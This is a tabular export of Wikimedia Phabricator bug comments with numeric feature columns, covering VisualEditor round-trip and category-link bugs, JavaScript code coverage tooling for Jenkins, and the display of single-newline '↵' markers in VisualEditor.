[[mw:Special:Version]] :-) In general, VisualEditor is branched for production at the same time as MediaWiki core right now (so, fortnightly for the rest of this month, thereafter weekly); Parsoid is updated in production more frequently but less regularly, as it's a manual process.

QUOTE
QUOTE

No, I don't think so (but isn't beta meant to run master of everything?). Perhaps I should make a bug to build one in Labs.

QUOTE

The perils of testing software that gets a dozen or so bugs fixed each week, sadly. In this particular case, I'm assuming that it's a Parsoid bug that was fixed (as I can't see anything in our git log that would suggest a VE fix changing this behaviour). Sorry!"
222901,VisualEditor: Round-trip failures,"(In reply to comment #1)
> I played around a bit locally while on the plane and tried to reproduce on
> master from the screenshot.

Blergh. I can still definitely reproduce this issue on mediawiki.org following the steps in comment 1.

Are Parsoid/VisualEditor versions exposed somewhere? Or alternately, is there a public wiki running the most up-to-date version of VisualEditor? I really don't like wasting my time filing bugs that no longer exist. :-/",,,1368906585,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,4.0,0.0,12.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,14.0,0.0,1.0,5.0,0.0,1.0,0.0,1.0,4.0,0.0,3.0,0.0,4.0,9.0,7.0,3.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,5.0,0.0,1.0,1.0,4.065789473684211,0.8289473684210527,"(In reply to comment #1)
QUOTE
QUOTE

Blergh. I can still definitely reproduce this issue on mediawiki.org following the steps in comment 1.

Are Parsoid/VisualEditor versions exposed somewhere? Or alternately, is there a public wiki running the most up-to-date version of VisualEditor? I really don't like wasting my time filing bugs that no longer exist. :-/"
222897,VisualEditor: Round-trip failures,"I played around a bit locally while on the plane and tried to reproduce on master from the screenshot. I didn't reproduce your bug, but I found bug 48605 instead. Now that I have an internet connection again, I'll take a proper look at this bug once I've caught up on sleep.",,,1368896354,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,10.0,0.0,10.0,17.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,5.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.716666666666667,0.75,"I played around a bit locally while on the plane and tried to reproduce on master from the screenshot. I didn't reproduce your bug, but I found bug 48605 instead. Now that I have an internet connection again, I'll take a proper look at this bug once I've caught up on sleep."
50408,"VisualEditor: Categories with multiple ""../""s in their hrefPrefix broken","VisualEditor added ""../"" inside [[Category:QA]], breaking the link. I swear I didn't touch the category itself. I was just editing an unrelated paragraph.

See https://www.mediawiki.org/w/index.php?title=Groups%2FProposals%2FFeatures_testing&diff=689563&oldid=689504

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1368466500,1368487340.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-dga3eyvqthuwtl6xayui,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,17.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,2.0,3.0,0.0,3.0,0.0,7.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,3.0,3.6551724137931036,0.6724137931034483,"VisualEditor added ""../"" inside [[Category:QA]], breaking the link. I swear I didn't touch the category itself. I was just editing an unrelated paragraph.

See URL

--------------------------
**Version**: unspecified
**Severity**: normal"
221613,"VisualEditor: Categories with multiple ""../""s in their hrefPrefix broken","(In reply to comment #2)
> We're going to put this into wmf4 with a Lightning Deploy this afternoon
> rather
> than wait for wmf5; thanks for the catch, Quim!
This is now done.",,,1368487340,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dga3eyvqthuwtl6xayui,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.65,0.75,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
This is now done."
221605,"VisualEditor: Categories with multiple ""../""s in their hrefPrefix broken","We're going to put this into wmf4 with a Lightning Deploy this afternoon rather than wait for wmf5; thanks for the catch, Quim!",,,1368471008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dga3eyvqthuwtl6xayui,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,4.0,22.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.888888888888889,0.9259259259259259,"We're going to put this into wmf4 with a Lightning Deploy this afternoon rather than wait for wmf5; thanks for the catch, Quim!"
221597,"VisualEditor: Categories with multiple ""../""s in their hrefPrefix broken",Related URL: https://gerrit.wikimedia.org/r/63496 (Gerrit Change I84d2b23a05585890b2d5023c7c7f38a43889fd7f),,,1368468797,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dga3eyvqthuwtl6xayui,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I84d2b23a05585890b2d5023c7c7f38a43889fd7f)
50365,Jenkins: Set up JavaScript code coverage analysis,"Any plans of having JSCover (JavaScript code coverage analysis) being integrated and run by Jenkins (in away that is usable for core and extensions as well)?

[1] http://tntim96.github.io/JSCover/

[2] http://tntim96.github.io/JSCover/example-qunit/out/jscoverage.html?test/index.html

[3] http://tntim96.github.io/JSCover/manual/manual.xml#automatingPhantomJS

[4] http://tntim96.github.io/JSCover/manual/manual.xml#automatingAnt

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1368310740,1411761995.0,PHID-USER-ldehclaehsvglrqxywsj,False,,False,PHID-TASK-irkp2njalgjutggxseff,task_description,declined,True,c1,1,False,False,False,-8,,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,3.436619718309859,0.647887323943662,"Any plans of having JSCover (JavaScript code coverage analysis) being integrated and run by Jenkins (in away that is usable for core and extensions as well)?

[1] URL

[2] URL

[3] URL

[4] URL

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
219221,Jenkins: Set up JavaScript code coverage analysis,"JSCover didn't work out very well.

I've standardised on istanbul[1] for the moment. There are qunit[2] and karma[3] integrations. Both of which we've been using for OOjs and VisualEditor these past few months.

They have command-line and HTML reporters.

[1]
http://gotwarlost.github.io/istanbul/
https://github.com/gotwarlost/istanbul

[2]
https://github.com/asciidisco/grunt-qunit-istanbul

[3]
https://github.com/karma-runner/karma-qunit
https://github.com/karma-runner/karma-coverage",,,1411761995,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,True,,,64,,1.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,3.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,17.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,5.0,7.0,8.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,3.3289473684210527,0.6447368421052632,"JSCover didn't work out very well.

I've standardised on istanbul[1] for the moment. There are qunit[2] and karma[3] integrations. Both of which we've been using for OOjs and VisualEditor these past few months.

They have command-line and HTML reporters.

[1]
URL
URL

[2]
URL

[3]
URL
URL"
219214,Jenkins: Set up JavaScript code coverage analysis,Javascript coverage is still something we need. Nobody looked at integrating it in Jenkins yet though.,,,1383584273,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,True,,,18,,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,11.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.833333333333333,0.9444444444444444,Javascript coverage is still something we need. Nobody looked at integrating it in Jenkins yet though.
219206,Jenkins: Set up JavaScript code coverage analysis,I'm not sure this will get any attention in a foreseeable future therefore closing this one.,,,1383363539,,PHID-USER-txixdzq7tyya37eageyl,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,False,,,17,,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.277777777777778,0.9444444444444444,I'm not sure this will get any attention in a foreseeable future therefore closing this one.
219197,Jenkins: Set up JavaScript code coverage analysis,"**tntim96** wrote:

The JSCover JAR (JSCover-all.jar) is all custom code and only includes the Rhino library (i.e. no Jetty, Log4J, Apache-commons or other library dependencies).

Also, there is no HTML parser. When a JavaScript file is requested via JSCover's web or proxy server, JSCover instruments the specified JavaScript only. 

Whether the HTML is generated dynamically or not doesn't affect JSCover in proxy-mode. 

For proxy documentation, take a look at:
http://tntim96.github.io/JSCover/manual/manual.xml#gettingStartedProxy

...and a working proxy example at:
https://github.com/tntim96/JSCover-samples/blob/master/src/test/java/jscover/webdriver/jasmine/WebDriverUnderscoreProxyTest.java

Let me know if there are any changes required to JSCover that would assist you.",,,1378180020,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,False,,,9,,1.5,0.0,0.0,1.5,1.5,2.5,0.5,0.0,0.0,1.0,1.5,1.0,0.0,1.5,1.5,1.0,0.0,4.5,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.5,1.0,0.0,0.0,1.5,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,14.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.5,6.0,8.5,0.0,0.0,0.0,1.5,0.0,1.5,2.0,1.0,1.0,0.0,0.0,0.5,3.9375,0.7578125,"**tntim96** wrote:

The JSCover JAR (JSCover-all.jar) is all custom code and only includes the Rhino library (i.e. no Jetty, Log4J, Apache-commons or other library dependencies).

Also, there is no HTML parser. When a JavaScript file is requested via JSCover's web or proxy server, JSCover instruments the specified JavaScript only. 

Whether the HTML is generated dynamically or not doesn't affect JSCover in proxy-mode. 

For proxy documentation, take a look at:
URL

...and a working proxy example at:
URL

Let me know if there are any changes required to JSCover that would assist you."
219190,Jenkins: Set up JavaScript code coverage analysis,"Both jscoverage and the new fork JSCover seem to have quite a nasty (though from a quick look, hard to avoid) implementation that involves instrumenting files. 

Though that in and of itself isn't a problem, it does this by running a static file server and proxying javascript files through its instrumentor and using some kind of HTML parser (another Java class dependency) to catch inline scripts even (not sure).

This isn't going to work straight up with MediaWiki since we generate HTML dynamically (e.g mediawiki-core/index.php) and load things through ResourceLoader.",,,1374001877,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,True,,,2,,1.0,0.0,0.0,0.0,2.5,4.0,0.5,0.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.5,6.5,10.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,11.5,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,2.5,1.5,7.0,2.0,3.5,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,0.5,2.0,0.5,3.5,0.0,0.0,1.0,4.378896103896103,0.8469155844155845,"Both jscoverage and the new fork JSCover seem to have quite a nasty (though from a quick look, hard to avoid) implementation that involves instrumenting files. 

Though that in and of itself isn't a problem, it does this by running a static file server and proxying javascript files through its instrumentor and using some kind of HTML parser (another Java class dependency) to catch inline scripts even (not sure).

This isn't going to work straight up with MediaWiki since we generate HTML dynamically (e.g mediawiki-core/index.php) and load things through ResourceLoader."
219183,Jenkins: Set up JavaScript code coverage analysis,I think we want QUnit tests on a few more extensions before adding code coverage. Thus lowering priority.,,,1371757672,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,2,True,,,-2,,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,4.4,0.95,I think we want QUnit tests on a few more extensions before adding code coverage. Thus lowering priority.
50290,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Single newlines have no effect on the way a wiki page is displayed.
So they should be ignored in a WYSIWYG editor.

Example: Third line at http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services#Specification_progress_.26_TC_members",Medium,50.0,1368091860,,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-o45i4q2kievixjidhsk7,task_description,open,True,c1,1,False,False,,-8,,0.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6875,0.9375,"Single newlines have no effect on the way a wiki page is displayed.
So they should be ignored in a WYSIWYG editor.

Example: Third line at URL"
1950786,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","On enwiki, one of the common uses of this is when people have a big {{Cite}} template and hit enter after it for readability.

One thing having this character visible does is encourage experienced editors to delete it.

When I was a newer editor, I had no idea what this character meant and it took me awhile to figure it out.

Anyway, I think leaving it as is (current behavior) or removing it from being seen in the visual editor without changing any wikitext would be acceptable options. I don't think ""silently strip"" is a good option.
",,,1657957730,,PHID-USER-qydb7ytmqqctg7dn7fqa,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,471,,1.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,3.5,0.0,4.5,8.0,0.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.5,5.5,3.5,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,3.0,5.0,5.5,1.0,2.0,6.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,8.0,8.0,1.0,0.0,1.5,0.0,8.0,0.0,1.5,2.0,1.0,3.0,0.5,0.0,0.0,3.788135593220339,0.8305084745762712,"On enwiki, one of the common uses of this is when people have a big {{Cite}} template and hit enter after it for readability.

One thing having this character visible does is encourage experienced editors to delete it.

When I was a newer editor, I had no idea what this character meant and it took me awhile to figure it out.

Anyway, I think leaving it as is (current behavior) or removing it from being seen in the visual editor without changing any wikitext would be acceptable options. I don't think ""silently strip"" is a good option.
"
903427,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","That sounds very project-specific.  In my experience, line breaks (shown as '↵' in VisualEditor) on enwiki often mean that someone has copied and pasted the text from another document (e.g., written the text offline in a word processor).  It only rarely seems to be done intentionally.

(Also, what if a line break someday stopped being interpreted as a space?)",,,1501341568,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,212,,0.0,1.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,8.0,3.0,0.0,1.0,0.0,1.0,0.0,10.0,13.0,1.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,13.0,3.0,1.0,3.0,0.0,3.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.848101265822785,0.7848101265822784,"That sounds very project-specific.  In my experience, line breaks (shown as '↵' in VisualEditor) on enwiki often mean that someone has copied and pasted the text from another document (e.g., written the text offline in a word processor).  It only rarely seems to be done intentionally.

(Also, what if a line break someday stopped being interpreted as a space?)"
903364,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Additional [[ https://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/R%C3%BCckmeldungen#Zeichen_.27.E2.86.B5.27_taucht_in_Abs.C3.A4tzen_im_VisualEditor_auf.2C_wird_aber_nicht_erkl.C3.A4rt | feedback from a German editor]] regarding this issue:
""Wikipedians delete the '↵' in VisualEditor and replace it with a space. But this character '↵' only indicates that a break was added to the source for better readability, which is automatically translated into a space. It's often used in long citation blocks, for example. This' ↵'-character makes the Wikitext / source text more readable. The good readability of the source text in the source editor (Edit window) is still one of the quality indicators explicitly mentioned in our guidelines for good articles. The meaning in the VisualEditor is only that the user should insert a new text not to the left but to the right of the '↵' character. Just simply so that the line break in the source text remains directly behind the left character. But, when looking at the instructions, this subtlety is not mentioned. Also, no warning is displayed when you delete the '↵' character in the VisualEditer. Apparently the character can not be inserted in the VirtualEditor any more, if it was deleted. [...] I would hope that there is a warning when deleting the character or a tooltip when the mouse is hovering above the character. Thank you.""",,,1501320721,,PHID-USER-kuuo2hpmktiqobsevyw6,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,212,,0.3333333333333333,0.0,0.0,2.3333333333333335,1.0,3.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,3.3333333333333335,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,7.333333333333333,10.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,5.0,1.0,1.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,15.666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,11.0,3.6666666666666665,7.666666666666667,3.6666666666666665,1.6666666666666667,13.666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,10.0,3.6666666666666665,0.0,4.333333333333333,0.0,2.6666666666666665,0.0,2.0,2.3333333333333335,0.0,1.6666666666666667,1.0,0.0,1.6666666666666667,4.085365853658536,0.6677441473209913,"Additional [[ URL | feedback from a German editor]] regarding this issue:
""Wikipedians delete the '↵' in VisualEditor and replace it with a space. But this character '↵' only indicates that a break was added to the source for better readability, which is automatically translated into a space. It's often used in long citation blocks, for example. This' ↵'-character makes the Wikitext / source text more readable. The good readability of the source text in the source editor (Edit window) is still one of the quality indicators explicitly mentioned in our guidelines for good articles. The meaning in the VisualEditor is only that the user should insert a new text not to the left but to the right of the '↵' character. Just simply so that the line break in the source text remains directly behind the left character. But, when looking at the instructions, this subtlety is not mentioned. Also, no warning is displayed when you delete the '↵' character in the VisualEditer. Apparently the character can not be inserted in the VirtualEditor any more, if it was deleted. [...] I would hope that there is a warning when deleting the character or a tooltip when the mouse is hovering above the character. Thank you."""
418428,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","@Jdforrester-WMF let me try to rephrase to see if I understand, the
carriage return symbol is shown in VE because a wikitext editor has
included a line break in the editing environment to increase readability of
the wikitext, however this does not affect the presentation of the content
in read mode, and is meaningless and confusing to VE editors.

However there is a worry (by whom?) that not showing the character at all
would make it much easier for a VE editor to accidentally remove the
character because it has no visual representation. On the other hand
visualizing it as an actual line-break causes inconsistency between edit
and read modes (which currently exists in wikitext/read more)

Is that summary clear and factual?



*Jared Zimmerman * \\  Director of User Experience \\ Wikimedia Foundation

M +1 415 609 4043 \\ @jaredzimmerman <http://loo.ms/g0>",,,1425063560,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,86,,1.0,0.0,0.0,0.5,1.0,5.0,1.0,1.0,0.0,0.5,3.5,0.0,0.0,0.0,0.5,1.0,0.5,5.0,11.5,0.0,2.0,0.0,0.0,0.0,1.5,1.0,0.5,0.0,0.0,0.5,0.0,4.5,2.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,7.0,2.0,10.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,3.5,0.0,2.5,0.0,2.5,11.5,8.5,1.0,0.0,0.0,2.5,0.0,1.0,2.5,0.5,1.0,1.0,0.0,0.5,4.186046511627907,0.7965116279069767,"SCREEN_NAME-WMF let me try to rephrase to see if I understand, the
carriage return symbol is shown in VE because a wikitext editor has
included a line break in the editing environment to increase readability of
the wikitext, however this does not affect the presentation of the content
in read mode, and is meaningless and confusing to VE editors.

However there is a worry (by whom?) that not showing the character at all
would make it much easier for a VE editor to accidentally remove the
character because it has no visual representation. On the other hand
visualizing it as an actual line-break causes inconsistency between edit
and read modes (which currently exists in wikitext/read more)

Is that summary clear and factual?



*Jared Zimmerman * \\  Director of User Experience \\ Wikimedia Foundation

M +1 415 609 4043 \\SCREEN_NAME <URL"
418408,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",">>! In T50290#1074137, @Jaredzimmerman-WMF wrote:
> Unless I'm misunderstanding Whatamidoing, I think they mean that we copy
> line breaks in as actual linebreaks, so that reading and editing look the
> same and no one actually sees that carriage return symbol ever.

Yes, you're entirely missing the point here.

* Actual reader-visible new paragraphs (from two new lines after each other in wikitext) are shown as new paragraphs.
* Actual reader-visible line breaks (from a <br /> tag) are shown as line breaks.

